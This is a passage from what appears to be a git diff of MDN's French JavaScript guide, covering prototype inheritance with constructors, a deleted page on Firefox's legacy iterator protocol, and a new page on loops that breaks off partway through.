En utilisant ce procédé, on n’introduit pas de valeurs spécifiques pour les propriétés de marc dont il hérite via la chaîne de prototypes. Si on utilise une valeur d'une de ces propriétés, JavaScript vérifiera tout d’abord si elle appartient à l'objet : si c’est le cas, la valeur est renvoyée. Sinon, JavaScript remonte dans la chaîne de prototypes en utilisant la propriété __proto__. Si un objet de cette chaîne possède une valeur pour cette propriété, la valeur est renvoyée. Si aucune propriété n’est trouvée, JavaScript indique que l’objet ne possède pas cette propriété. Ainsi pour l’objet marc : on aura les propriétés suivantes avec les valeurs respectives :

- -
marc.nom = "";
-marc.branche = "commun";
-marc.projets = [];
-
- -

L’objet marc hérite des valeurs des propriétés nom et branche via le constructeur Employé. Il y a une valeur locale pour la propriété projets grâce au constructeur Travailleur.

- -

Ces constructeurs ne permettent pas de fournir des valeurs spécifiques, l’information créée est générique pour chaque objet. Les valeurs des propriétés sont celles par défaut, comme pour tous les autres objets créés à partir de Travailleur. On peut, bien sûr, changer les valeurs de ces propriétés pour fournir des valeurs spécifiques :

- -
marc.nom = "Marc Dupont";
-marc.branche = "admin";
-marc.projets = ["navigateur"];
- -

L’ajout de propriétés

- -

En JavaScript, on peut ajouter des propriétés lors de l’exécution et on peut utiliser des propriétés qui ne seraient pas définies par le constructeur. Afin d’ajouter une propriété à un objet donné, on assigne une valeur de la façon suivante :

- -
marc.bonus = 3000;
-
- -

Désormais, l’objet marc possède la propriété bonus. En revanche, aucun autre Travailleur ne possède cette propriété.

- -

Si on ajoute une nouvelle propriété à un objet qui est utilisé comme prototype pour un constructeur, alors tous les objets créés à partir de ce constructeur bénéficieront de cette propriété grâce à l’héritage. Ainsi, on peut ajouter une propriété spécialité à tous les employés grâce à l’instruction suivante :

- -
Employé.prototype.spécialité = "aucune";
-
- -

Dès que l’instruction est exécutée par JavaScript, l’objet marc possèdera aussi la propriété spécialité initialisée avec la valeur "aucune". Le schéma suivant décrit l’effet de cet ajout puis de la surcharge de cette propriété pour le prototype Ingénieur.

- -


- Ajouter des propriétés

- -

Des constructeurs plus flexibles

- -

Les fonctions constructeur utilisées jusqu’à présent ne permettaient pas de définir les valeurs des propriétés à la création d’une instance. De la même façon qu’en Java, il est possible d’utiliser des arguments pour ces fonctions afin d’initialiser les valeurs des propriétés des instances.

- -


- Définir les propriétés grâce au constructeur

- -

Le tableau suivant montre les définitions de ces objets en JavaScript et en Java.

- - - - - - - - - - - - - - - - - - - - - - -
JavaScriptJava
- 
-function Employé (nom, branche) {
-  this.nom = nom || "";
-  this.branche = branche || "commun";
-}
-
- 		- 
-public class Employé {
-   public String nom;
-   public String branche;
-   public Employé () {
-      this("", "commun");
-   }
-   public Employé (String nom) {
-      this(nom, "commun");
-   }
-   public Employé (String nom, String branche) {
-      this.nom = nom;
-      this.branche = branche;
-   }
-}
-
-
- 
-function Travailleur (projs) {
-  this.projets = projs || [];
-}
-Travailleur.prototype = new Employé;
-
- 		- 
-public class Travailleur extends Employé {
-   public String[] projets;
-   public Travailleur () {
-      this(new String[0]);
-   }
-   public Travailleur (String[] projs) {
-      this.projets = projs;
-   }
-}
-
-
-
- 
-
-function Ingénieur (moteur) {
-   this.branche = "ingénierie";
-   this.moteur = moteur || "";
-}
-Ingénieur.prototype = new Travailleur;
-
- 		- 
-public class Ingénieur extends Travailleur {
-   public String moteur;
-   public Ingénieur () {
-      this.branche = "ingénierie";
-      this.moteur = "";
-   }
-   public Ingénieur (String moteur) {
-      this.branche = "ingénierie";
-      this.moteur = moteur;
-   }
-}
-
-
- -

Les définitions JavaScript présentées ci-dessus utilisent une instruction qui peut paraître étrange pour avoir des valeurs par défaut :

- -
this.nom = nom || "";
-
- -

L’opérateur correspondant au OU logique en JavaScript (||) évalue le premier argument. Si cet argument peut être converti en true, alors l’opérateur renverra cet argument. Sinon, il renvoie la valeur du second argument. Ainsi, en utilisant ce code, on teste si la valeur fournie (nom) est utile ou non : si c’est le cas, on l’utilise pour la propriété, sinon on conserve la valeur par défaut (ici la chaîne vide). Cet exemple peut paraître déroutant mais permet d’être plus concis.

- -
-

Attention, cela peut ne pas fonctionner comme souhaité si le constructeur est appelé avec des arguments qui seront convertis à false (comme 0 (zéro) et la chaîne de caractère vide (""). Si ces valeurs sont utilisées, la valeur par défaut sera prise en compte.

-
- -

Grâce à ces définitions, on peut créer une instance d’un objet en utilisant des valeurs spécifiques pour les propriétés. On peut par exemple utiliser :

- -
var jeanne = new Ingénieur("carnot");
- -

Les propriétés de l’objet sont donc désormais :

- -
jeanne.nom == "";
-jeanne.branche == "ingénierie";
-jeanne.projets == [];
-jeanne.moteur == "carnot"
-
- -

On peut remarquer qu’avec ces définitions, on ne peut pas définir de valeur initiale pour les propriétés provenant de l’héritage, comme nom ici. Si on souhaite définir des valeurs initiales pour ces propriétés, il faut modifier légèrement le constructeur.

- -

Jusqu’à présent, le constructeur utilisé permettait de créer un objet générique puis de créer des propriétés et de spécifier leurs valeurs pour le nouvel objet. On peut utiliser un constructeur afin de définir des valeurs spécifiques pour les autres propriétés plus hautes dans l’héritage. Pour ce faire, on appelle le constructeur de l’objet plus haut dans l’héritage au sein même du constructeur de l’objet courant.

- -


- La définition de propriétés héritées dans un constructeur

- -

Ainsi, le constructeur de Ingénieur sera :

- -
function Ingénieur (nom, projets, moteur) {
-  this.base = Travailleur;
-  this.base(nom, "ingénierie", projets);
-  this.moteur = moteur || "";
-}
-
- -

Si on crée ensuite un objet Ingénieur de cette façon :

- -
var jeanne = new Ingénieur("Jeanne Dubois", ["navigateur", "javascript"], "carnot");
-
- -

L’exécution du code entraînera les étapes suivantes :

- -
    -
  1. La création d’un objet générique avec l'opérateur new qui assigne la valeur Ingénieur.prototype à la propriété __proto__.
    2. -
  2. L'opérateur new passe ensuite l’objet au constructeur Ingénieur comme valeur du mot-clé this.
    3. -
  3. Le constructeur crée une nouvelle propriété, appelée base, pour cet objet. Cette propriété reçoit la valeur du constructeur Travailleur. Ainsi le constructeur Travailleur devient une méthode de l’objet Ingénieur. Le nom de cette propriété base n’est pas spécial, on pourrait utiliser un autre nom pour cette propriété (sous réserve qu’il soit valide).
    4. -
  4. -

    Le constructeur appelle la méthode base et lui passe deux arguments qui avaient été passés ("Jeanne Dubois" et ["navigateur", "javascript"]), ainsi que la chaîne de caractères "ingénierie". Le fait d’utiliser "ingénierie" explicitement indique que tous les objets Ingénieur auront la même valeur pour la propriété branche qui aura été héritée. Cela permet également de surcharger la valeur par défaut héritée de Employé.

    -
    5. -
  5. -

    base étant une méthode d'Ingénieur, lors de l'appel de cette fonction, le mot clé this aura été lié à l'objet créé en 1. Ainsi, la fonction Travailleur passera les arguments "Jeanne Dubois" et "ingénierie" au constructeur Employé. Une fois que la fonction constructeur Employé a renvoyé un résultat, la fonction Travailleur utilise l'argument restant pour donner la valeur à la propriété projets.

    -
    6. -
  6. Une fois que la méthode base a renvoyé un résultat, le constructeur Ingénieur initialise la propriété moteur avec la valeur "carnot".
    7. -
  7. Lorsque le constructeur renvoie le résultat, il est assigné à la variable jeanne.
    8. -
- -

On peut penser qu’un simple appel au constructeur Travailleur, dans le constructeur Ingénieur permette de définir l'héritage pour les objets Ingénieur. Attention, ce n’est pas le cas. Un simple appel au constructeur Travailleur permet de bien définir les valeurs des propriétés spécifiées dans les constructeurs appelés. En revanche, si plus tard on souhaite ajouter des propriétés aux prototypes Employé ou Travailleur : l'objet Ingénieur n’en héritera pas. Si par exemple on a :

- -
function Ingénieur (nom, projets, moteur) {
-  this.base = Travailleur;
-  this.base(nom, "ingénierie", projets);
-  this.moteur = moteur || "";
-}
-var jeanne = new Ingénieur("Jeanne Dubois", ["navigateur", "javascript"], "carnot");
-Employé.prototype.spécialité = "aucune";
-
- -

L'objet jeanne n’héritera pas de la propriété spécialité. Il aurait fallu préciser le prototype pour s'assurer de l'héritage dynamique. Si on a plutôt :

- -
function Ingénieur (nom, projets, moteur) {
-  this.base = Travailleur;
-  this.base(nom, "ingénierie", projets);
-  this.moteur = moteur || "";
-}
-Ingénieur.prototype= new Travailleur;
-var jeanne = new Ingénieur("Jeanne Dubois", ["navigateur", "javascript"], "carnot");
-Employé.prototype.spécialité = "aucune";
-
- -

Alors la valeur de la propriété spécialité de jeanne sera "aucune".

- -

Une autre façon d’utiliser l’héritage dans un constructeur peut être d'utiliser les méthodes call() et apply(). Les deux fragments de codes présentés ici sont équivalents :

- - - - - - - - -
- 
-function Ingénieur (nom, projets, moteur) {
-  this.base = Travailleur;
-  this.base(nom, "ingénierie", projets);
-  this.moteur = moteur || "";
-}
-
- 		- 
-function Ingénieur (nom, projets, moteur) {
-  Travailleur.call(this, nom, "ingénierie", projets);
-  this.moteur = moteur || "";
-}
-
-
- -

En utilisant la méthode call() on obtient une syntaxe plus claire car on n’utilise plus la propriété intermédiaire base.

- -

L’héritage de propriétés : les subtilités

- -

Les sections précédentes ont permis de décrire le fonctionnement des constructeurs et des prototypes, notamment par rapport aux hiérarchies d’objets et à l’héritage. L’objectif de cette section est de couvrir un peu plus en profondeur certaines facettes de l'héritage qui n’étaient pas détaillées avant.

- -

Valeurs locales et valeurs héritées

- -

Quand on accède à la propriété d’un objet, JavaScript effectue les étapes suivantes :

- -
    -
  1. On vérifie si la valeur existe localement : si c'est le cas on renvoie cette valeur.
    2. -
  2. S'il n’y a pas de valeur locale, on parcourt la chaîne des prototypes grâce à la propriété__proto__.
    3. -
  3. Si un objet de la chaîne de prototypes possède une valeur pour la propriété recherchée, alors on renvoie cette valeur.
    4. -
  4. Si aucune propriété correspondante n’est trouvée, alors l’objet ne possède pas cette propriété.
    5. -
- -

L'issue de cet algorithme peut dépendre de la façon dont on a défini au fur et à mesure les différents objets. Dans l'exemple initial on avait les définitions :

- -
function Employé () {
-  this.nom = "";
-  this.branche = "commun";
-}
-
-function Travailleur () {
-  this.projets = [];
-}
-Travailleur.prototype = new Employé;
-
- -

Si on utilise ces définitions et qu'on définit une instance de Travailleur appelée amy avec l'instruction suivante :

- -
var amy = new Travailleur;
-
- -

Alors l'objet amy possède une propriété locale : projets. Les valeurs des propriétés nom et branche ne sont pas locales, elles sont obtenues grâce à la propriété __proto__ de l'objet amy. Ainsi amy possède les propriétés suivantes avec les valeurs respectives :

- -
amy.nom == "";
-amy.branche == "commun";
-amy.projets == [];
-
- -

Si maintenant on change la valeur de la propriété nom pour le prototype associé à Employé :

- -
Employé.prototype.nom = "Inconnu"
-
- -

On pourrait penser que cette nouvelle valeur est propagée pour toutes les instances de Employé. Ce n’est pas le cas.

- -

En effet, lorsqu’on crée n’importe quelle instance de Employé, cette instance obtient une valeur locale pour la propriété nom (qui est la chaîne de caractères vide). Cela signifie que lorsqu'on utilise le prototype Travailleur dans lequel on crée un nouvel objet Employé, Travailleur.prototype aura une valeur locale pour la propriété nom. Ainsi, quand JavaScript recherche la propriété nom de l'objet amy (qui est une instance de Travailleur), JavaScript trouve la valeur locale de cette propriété au niveau de Travailleur.prototype et ne remonte pas plus loin dans la chaîne : on n’atteint pas Employé.prototype.

- -

Si on souhaite changer la valeur de la propriété d’un objet pendant l’exécution et que sa valeur soit héritée par tous les descendants de l’objet, on ne peut pas définir cette propriété dans le constructeur de l'objet, il faut l’ajouter au constructeur du prototype associé. Si on change le code précédent par :

- -
function Employé () {
-  this.branche = "commun"; // La propriété this.nom, qui est une variable locale, n'apparaît pas ici
-}
-Employé.prototype.nom = ""; // Il s'agit d'une simple affectation
-
-function Travailleur () {
-  this.projets = [];
-}
-Travailleur.prototype = new Employé;
-
-var amy = new Travailleur;
-
-Employé.prototype.nom = "Inconnnu";
-
- -

Alors on aura bien la propriété nom de amy qui deviendra "Inconnu".

- -

Comme on a pu le voir avec ces exemples, si on souhaite avoir des valeurs par défaut pour certaines propriétés et être capable de les modifier à l'exécution, il est nécessaire de les définir dans les propriétés du prototype du constructeur et non dans le constructeur même.

- -

Comment déterminer les relations entre les instances

- -

La recherche de propriétés JavaScript permet de rechercher parmi les propriétés de l’objet puis dans la propriété spéciale __proto__ et ainsi de suite pour explorer la chaîne des prototypes.

- -

La propriété spéciale __proto__ est défnie à la construction d'un objet et contient la valeur du constructeur de la propriétéprototype. Ainsi, l’expression new Toto() crée un nouvel objet avec __proto__ == Toto.prototype. Ainsi, tous les changements des propriétés de Toto.prototype sont propagés sur la chaîne des prototypes des objets ayant été créés par new Toto().

- -

Chaque objet (sauf Object) possède une propriété __proto__. Chaque fonction possède une propriété prototype. Ainsi, on peut relier les objets par « héritage prototypique ». Pour tester l’héritage, on peut comparer la propriété __proto__ d'un objet avec la propriété prototype d'une fonction. JavaScript permet de faire ceci avec l’opérateur instanceof qui teste un objet par rapport à une fonction et qui renvoie true si l’objet hérite de la fonction prototype. Ainsi :

- -
var t = new Toto();
-var isTrue = (t instanceof Toto);
- -

Pour avoir un exemple plus précis, si on crée un objet Ingénieur comme ceci :

- -
var chris = new Engineer("Chris Pigman", ["jsd"], "fiji");
-
- -

L’ensemble des instructions suivantes renverra true :

- -
chris.__proto__ == Ingénieur.prototype;
-chris.__proto__.__proto__ == Travailleur.prototype;
-chris.__proto__.__proto__.__proto__ == Employé.prototype;
-chris.__proto__.__proto__.__proto__.__proto__ == Object.prototype;
-chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null;
-
- -

On pourrait donc écrire la une fonction instanceOf de la façon suivante :

- -
function instanceOf(object, constructor) {
-   while (object != null) {
-      if (object == constructor.prototype)
-         return true;
-      if (typeof object == 'xml') {
-        return constructor.prototype == XML.prototype;
-      }
-      object = object.__proto__;
-   }
-   return false;
-}
-
- -
Note : L’implémentation ci-dessus possède un cas particulier pour le type d'objet "xml" : c'est une façon de traiter les objets XML et la façon dont ils sont représentés dans les versions plus récentes de JavaScript. N’hésitez pas à aller consulter la fiche {{bug(634150)}} si vous voulez en savoir plus.
- -

Ainsi, avec cette fonction, les expressions suivantes seront vérifiées :

- -
instanceOf (chris, Ingénieur)
-instanceOf (chris, Travailleur)
-instanceOf (chris, Employé)
-instanceOf (chris, Object)
-
- -

En revanche, l’expression qui suit est fausse :

- -
instanceOf (chris, Vendeur)
-
- -

Les informations globales dans les constructeurs

- -

Lorsqu'on crée des constructeurs, on doit prendre des précautions si on souhaite manipuler des informations globales au sein d'un constructeur. Si, par exemple, on souhaite avoir un identifiant unique attribué automatiquement pour chaque nouvel employé, on pourrait utiliser la définition suivante :

- -
var idCompteur = 1;
-
-function Employé (nom, branche) {
-   this.nom = nom || "";
-   this.branche = branche || "commun";
-   this.id = idCompteur++;
-}
-
- -

Avec cette définition, si on utilise les instructions suivantes victoria.id sera 1 et henri.id sera 2:

- -
var victoria = new Employé("Victoria Rander", "international")
-var henri = new Employé("Henri Jelier", "ventes")
-
- -

De cette façon, on peut penser que cette solution convient. Cependant, idCompteur sera incrémenté à chaque fois qu’un objet Employé sera créé, quelqu’en soit la raison. Si on utilise la hiérarchie établie au cours de ce chapitre, le constructeur Employé sera appelé à chaque fois qu’on définit un prototype. Avec le code suivant par exemple :

- -
var idCompteur = 1;
-
-function Employé (nom, branche) {
-   this.nom = nom || "";
-   this.branche = branche || "commun";
-   this.id = idCompteur++;
-}
-
-function Manager (nom, branche, rapports) {...}
-Manager.prototype = new Employé;
-
-function Travailleur (nom, branche, projets) {...}
-Travailleur.prototype = new Employé;
-
-function Ingénieur (nom, projets, moteur) {...}
-Ingénieur.prototype = new Travailleur;
-
-function Vendeur (nom, projets, quota) {...}
-Vendeur.prototype = new Travailleur;
-
-var alex = new Ingénieur("Alex S");
-
- -

Si on prend le cas où les définitions utilisent la propriété base et appellent le constructeur à chaque fois au-dessus, alors la propriété alex.id vaudra 3.

- -

Selon l’application qu’on a de cette information, on peut souhaiter ou non que ce compteur ne soit pas incrémenté avec ces étapes intermédiaires. Si on souhaite utiliser une valeur exacte, on pourra utiliser le constructeur suivant :

- -
function Employé (nom, branche) {
-   this.nom = nom || "";
-   this.branche = branche || "commun";
-   if (nom)
-      this.id = idCompteur++;
-}
-
- -

Lorsqu’on crée une instance d’Employé comme prototype, on ne fournit pas d’argument au constructeur. Ainsi, en utilisant ce constructeur, lorsqu’on ne fournit pas d’argument, le constructeur n’incrémente pas le compteur. De cette façon, pour qu’un employé ait un identifiant valide, il faut qu’on lui ait donné un nom. Avec cet exemple, alex.id vaudrait 1.

- -

Une autre façon de procéder est de créer une copie du prototype d'Employé et d'affecter celle-ci à Travailleur :

- -
Travailleur.prototype = Object.create(Employé.prototype);
-// plutôt que Travailleur.prototype = new Employé;
- -

L’absence d’héritage multiple

- -

Certains langages orientés objet permettent d’avoir un héritage multiple. Cela veut dire qu’un objet peut hériter des propriétés et des valeurs d’objets parents qui n’ont aucune relation. JavaScript ne permet pas d’avoir ce type d'héritage.

- -

L’héritage des valeurs des propriétés s’effectue lors de l’exécution lorsque JavaScript explore la chaîne de prototype. Étant donné qu’un objet possède un seul prototype associé, JavaScript ne peut pas, dynamiquement, effectuer l’héritage sur plus d’une chaîne de prototypes.

- -

En JavaScript, il est possible d’avoir un constructeur qui fait appel à plusieurs constructeurs. Cela donne en quelque sorte l’illusion d’un héritage multiple. Par exemple :

- -
function Passioné (passion) {
-   this.passion = passion || "plongée";
-}
-
-function Ingénieur (nom, projets, moteur, passion) {
-   this.base1 = Travailleur;
-   this.base1(nom, "ingénierie", projets);
-   this.base2 = Passioné;
-   this.base2(passion);
-   this.moteur = moteur || "";
-}
-Ingénieur.prototype = new Travailleur;
-
-var denis = new Ingénieur("Denis Carle", ["collabra"], "carnot")
-
- -

Supposons que la définition de Travailleur soit utilisée plus haut dans ce chapitre. Dans ce cas, l’objet dennis aura les propriétés suivantes :

- -
denis.nom == "Denis Carle"
-denis.branche == "ingénierie"
-denis.projets == ["collabra"]
-denis.moteur == "carnot"
-denis.passion == "plongée"
-
- -

On voit bien que denis bénéficie de la propriété passion du constructeur Passioné. Cependant, si, plus tard, on ajoute une propriété au prototype du constructeur :

- -
Passioné.prototype.équipement = ["masque", "filet", "club", "balles"]
-
- -

L’objet denis n’héritera pas de cette nouvelle propriété.

- -

{{PreviousNext("Web/JavaScript/Guide/Utiliser_les_objets", "Web/JavaScript/Guide/Utiliser_les_promesses")}}

diff --git "a/files/fr/web/javascript/guide/le_protocole_it\303\251rateur_historique/index.html" "b/files/fr/web/javascript/guide/le_protocole_it\303\251rateur_historique/index.html" deleted file mode 100644 index e106851141..0000000000 --- "a/files/fr/web/javascript/guide/le_protocole_it\303\251rateur_historique/index.html" +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Le protocole itérateur historique -slug: Web/JavaScript/Guide/Le_protocole_itérateur_historique -tags: - - JavaScript - - Legacy Iterator -translation_of: >- - Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol ---- -
{{JSSideBar("More")}}
- -
Non-standard. Ce protocole historique était une fonctionnalité spécifique à SpiderMonkey et est supprimé à partir de Firefox 58. Pour utiliser des itérations par la suite, veuillez utiliser des boucles for..of ainsi que le protocole itérateur.
- -

Le protocole itérateur obsolète, spécifique à Firefox

- -

Avant la version 26, Firefox implémentait un autre protocole d'itération semblable à celui défini par ES2015.

- -

Un objet est un itérateur historique lorsqu'il implémente une méthode next() avec la sémantique suivante et lorsqu'il renvoie une exception {{jsxref("Objets_globaux/StopIteration", "StopIteration")}} à la fin de l'itération :

- - - - - - - - - - - - -
PropriétéValeur
next -

Une fonction sans argument qui renvoie une valeur.

-
- -

Les différences entre le protocole historique et celui d'ES2015

- -
    -
  • La valeur était directement renvoyée par la fonction next alors qu'avec le protocole ES2015, elle est contenue dans une propriété value
    • -
  • La fin de l'itération était signalée par un objet {{jsxref("Objets-globaux/StopIteration", "StopIteration")}}.
    • -
- -

Un exemple simple utilisant l'ancien protocole

- -

Exemple

- -
function créerItérateur(tableau){
-    var nextIndex = 0;
-
-    return {
-       next: function(){
-           if(nextIndex < tableau.length){
-               return tableau[nextIndex++];
-           else
-               throw new StopIteration();
-       }
-    }
-}
-
-var it = créerItérateur(['yo', 'ya']);
-
-console.log(it.next()); // 'yo'
-console.log(it.next()); // 'ya'
-try{
-    console.log(it.next());
-}
-catch(e){
-    if(e instanceof StopIteration){
-         // fin de l'itération
-    }
-}
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/guide/loops_and_iteration/index.html b/files/fr/web/javascript/guide/loops_and_iteration/index.html new file mode 100644 index 0000000000..0646c94d53 --- /dev/null +++ b/files/fr/web/javascript/guide/loops_and_iteration/index.html @@ -0,0 +1,349 @@ +--- +title: Boucles et itérations +slug: Web/JavaScript/Guide/Boucles_et_itération +tags: + - Guide + - JavaScript + - Syntax +translation_of: Web/JavaScript/Guide/Loops_and_iteration +--- +
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Contr%C3%B4le_du_flux_Gestion_des_erreurs", "Web/JavaScript/Guide/Fonctions")}}
+ +

Les boucles permettent de répéter des actions simplement et rapidement. Ce chapitre du guide JavaScript présente les différentes instructions qu'il est possible d'utiliser en JavaScript pour effectuer des itérations.

+ +

Les boucles permettent de répéter des actions simplement et rapidement. Une boucle peut être vue comme une version informatique de « copier N lignes » ou de « faire X fois quelque chose ». Par exemple, en JavaScript, on pourrait traduire « Faire 5 pas vers l'est » avec cette boucle :

+ +
for (let pas = 0; pas < 5; pas++) {
+  // Ceci sera exécuté 5 fois
+  // À chaque éxécution, la variable "pas" augmentera de 1
+  // Lorsque'elle sera arrivée à 5, le boucle se terminera.
+  console.log('Faire ' + pas + ' pas vers l\'est');
+}
+
+ +

Il y a différents types de boucles mais elles se ressemblent toutes au sens où elles répètent une action un certain nombre de fois (ce nombre peut éventuellement être zéro). Les différents types de boucles permettent d'utiliser différentes façon de commencer et de terminer une boucle. Chaque type de boucle pourra être utilisé en fonction de la situation et du problème que l'on cherche à résoudre.

+ +

Voici les différentes boucles fournies par JavaScript :

+ +
    +
  • {{anch("Linstruction for")}}
    • +
  • {{anch("Linstruction do...while")}}
    • +
  • {{anch("Linstruction while")}}
    • +
  • {{anch("Linstruction label")}}
    • +
  • {{anch("Linstruction break")}}
    • +
  • {{anch("Linstruction continue")}}
    • +
  • {{anch("Linstruction for...in")}}
    • +
  • {{anch("Linstruction for...of")}}
    • +
+ +

L'instruction for

+ +

Une boucle {{jsxref("statements/for", "for")}} répète des instructions jusqu'à ce qu'une condition donnée ne soit plus vérifiée. La boucle for JavaScript ressemble beaucoup à celle utilisée en C ou en Java. Une boucle for s'utilise de la façon suivante :

+ +
for ([expressionInitiale]; [condition]; [expressionIncrément])
+  instruction
+
+ +

Voici ce qui se passe quand une boucle for s'exécute :

+ +
    +
  1. L'expression initiale expressionInitiale est exécutée si elle est présente. Généralement, on utilise cette expression pour initialiser un ou plusieurs compteurs dont on se servira dans la boucle. Il est possible d'utiliser des expressions plus complexes si besoin. Elle peut servir à déclarer des variables.
    2. +
  2. L'expression condition est évaluée, si elle vaut true, les instructions contenues dans la boucle sont exécutées. Si la valeur de condition est false, la boucle for se termine. Si la condition est absente, elle est considérée comme true.
    3. +
  3. L'instruction instruction est exécutée. Si l'on souhaite exécuter plusieurs instructions, on utilisera un bloc d'instructions ({ ... }) afin de les grouper.
    4. +
  4. Si elle est présente, l'expression de mise à jour expressionIncrément est exécutée.
    5. +
  5. On retourne ensuite à l'étape 2.
    6. +
+ +

Exemple

+ +

La fonction suivante contient une instruction for qui compte le nombre d'options sélectionnées dans une liste déroulante (ici, un objet {{HTMLElement("select")}} permettant une sélection multiple). L'instruction for déclare une variable i et l'initialise à zéro. Elle vérifie que i est bien inférieur au nombre d'options et, pour chaque option, effectue un test conditionnel pour savoir si l'option est sélectionnée puis passe à l'option suivante en incrémentant la variable i pour chaque itération.

+ +
<form name="selectForm">
+  <p>
+    <label for="typesMusique">Veuillez choisir des genres musicaux, puis cliquez :</label>
+    <select id="typesMusique" name="typesMusique" multiple="multiple">
+      <option selected="selected">R&B</option>
+      <option>Jazz</option>
+      <option>Blues</option>
+      <option>New Age</option>
+      <option>Classique</option>
+      <option>Opera</option>
+    </select>
+  </p>
+  <p><button id="btn" type="button">Combien sont sélectionnés ?</button></p>
+</form>
+
+<script>
+function quantité(selectObject) {
+  let qtéSélectionnée = 0;
+  for (let i = 0; i < selectObject.options.length; i++) {
+    if (selectObject.options[i].selected) {
+      qtéSélectionnée++;
+    }
+  }
+  return qtéSélectionnée;
+}
+
+let btn = document.getElementById("btn");
+btn.addEventListener("click", function(){
+  alert('Nombre d\'options choisies : ' + quantité(document.selectForm.typesMusique))
+});
+</script>
+
+
+ +

L'instruction do...while

+ +

L'instruction {{jsxref("statements/do...while", "do...while")}} permet de répéter un ensemble d'instructions jusqu'à ce qu'une condition donnée ne soit plus vérifiée. (NdT : littéralement « do...while » signifie « faire... tant que »). Une instruction do...while s'utilise de la façon suivante :

+ +
do
+  instruction
+while (condition);
+
+ +

instruction est exécutée au moins une fois avant que la condition soit vérifiée. Pour utiliser plusieurs instructions à cet endroit, on utilisera une instruction de bloc ({ ... }) pour regrouper différentes instructions. Si la condition est vérifiée, l'instruction est à nouveau exécutée. À la fin de chaque exécution, la condition est vérifiée. Quand la condition n'est plus vérifiée (vaut false ou une valeur équivalente), l'exécution de l'instruction do...while est stoppée et le contrôle passe à l'instruction suivante.

+ +

Exemple

+ +

Dans l'exemple qui suit, la boucle do est exécutée au moins une fois et répétée jusqu'à ce que i ne soit plus inférieur à 5.

+ +
let i = 0;
+do {
+  i += 1;
+  console.log(i);
+} while (i < 5);
+ +

L'instruction while

+ +

Une instruction {{jsxref("statements/while", "while")}} permet d'exécuter une instruction tant qu'une condition donnée est vérifiée. Cette instruction while s'utilise de la façon suivante :

+ +
while (condition)
+  instruction
+
+ +

Si la condition n'est pas vérifiée, l'instruction instruction n'est pas exécutée et le contrôle passe directement à l'instruction suivant la boucle.

+ +

Le test de la condition s'effectue avant d'exécuter instruction. Si la condition renvoie true (ou une valeur équivalente), instruction sera exécutée et la condition sera testée à nouveau. Si la condition renvoie false (ou une valeur équivalente), l'exécution s'arrête et le contrôle est passé à l'instruction qui suit while.

+ +

Pour pouvoir utiliser plusieurs instructions dans la boucle, on utilisera une instruction de bloc ({ ... }) afin de les regrouper.

+ +

Exemple 1

+ +

La boucle while qui suit permet d'effectuer des itérations tant que n est inférieur à 3 :

+ +
let n = 0;
+let x = 0;
+while (n < 3) {
+  n++;
+  x += n;
+}
+
+ +

À chaque itération, la boucle incrémente n et ajoute la valeur de n à x. x et n prendront ainsi les valeurs suivantes :

+ +
    +
  • Après la première itération : n = 1 et x = 1
    • +
  • Après la deuxième itération : n = 2 et x = 3
    • +
  • Après la troisième itération : n = 3 et x = 6
    • +
+ +

Une fois la troisième itération effectuée, la condition n < 3 n'est plus vérifiée, par conséquent, la boucle se termine.

+ +

Exemple 2

+ +

Attention à éviter les boucles infinies. Il faut bien s'assurer que la condition utilisée dans la boucle ne soit plus vérifiée à un moment donné. Si la condition est toujours vérifiée, la boucle se répétera sans jamais s'arrêter. Dans l'exemple qui suit, les instructions contenues dans la boucle while s'exécutent sans discontinuer car la condition est toujours vérifiée :

+ +
while (true) {
+  console.log("Coucou monde !");
+}
+ +

L'instruction label

+ +

Un {{jsxref("statements/label","label")}} (ou étiquette) permet de fournir un identifiant pour une instruction afin d'y faire référence depuis un autre endroit dans le programme. On peut ainsi identifier une boucle grâce à un label puis utiliser les instructions break ou continue pour indiquer si le programme doit interrompre ou poursuivre l'exécution de cette boucle.

+ +

On utilise un label de la façon suivante :

+ +
label:
+  instruction
+
+ +

La valeur de label peut être n'importe quel identifiant JavaScript valide (et ne doit pas être un mot réservé pour le langage). L'instruction peut être n'importe quelle instruction JavaScript valide (y compris un bloc).

+ +

Exemple

+ +

Dans cet exemple, on utilise un label memoBoucle pour identifier une boucle while.

+ +
memoBoucle:
+while (memo == true) {
+  faireQQC();
+}
+ +
+

Note : Pour plus de détails sur cette instruction, voir la page de la référence JavaScript pour label.

+
+ +

L'instruction break

+ +

L'instruction {{jsxref("statements/break","break")}} est utilisée pour finir l'exécution d'une boucle, d'une instruction switch, ou avec un label.

+ +
    +
  • Lorsque break est utilisé sans label, il provoque la fin de l'instruction while, do-while, for, ou switch dans laquelle il est inscrit (on finit l'instruction la plus imbriquée), le contrôle est ensuite passé à l'instruction suivante.
    • +
  • Lorsque break est utilisé avec un label, il provoque la fin de l'instruction correspondante.
    • +
+ +

La syntaxe de cette instruction possède donc deux formes :

+ +
    +
  1. break;
    2. +
  2. break label;
    3. +
+ +

La première forme permet d'interrompre la boucle la plus imbriquée (ou le switch) dans laquelle on se trouve. La seconde forme interrompt l'exécution d'une instruction identifiée par un label.

+ +

Exemple 1

+ +

Dans l'exemple qui suit, on itère sur un tableau grâce à une boucle jusqu'à trouver un élément dont la valeur est valeurTest :

+ +
for (i = 0; i < a.length; i++) {
+  if (a[i] === valeurTest) {
+    break;
+  }
+}
+ +

Exemple 2

+ +

Ici, on utilise break des deux façons : avec une instruction représentée par un label et sans.

+ +
let x = 0;
+let z = 0;
+labelAnnuleBoucle: while (true) {
+  console.log("Boucle externe : " + x);
+  x += 1;
+  z = 1;
+  while (true) {
+    console.log("Boucle interne : " + z);
+    z += 1;
+    if (z === 10 && x === 10) {
+      break labelAnnuleBoucle;
+    } else if (z === 10) {
+      break;
+    }
+  }
+}
+
+ +

L'instruction continue

+ +

L'instruction {{jsxref("statements/continue","continue")}} permet de reprendre une boucle while, do-while, for, ou une instruction label.

+ +
    +
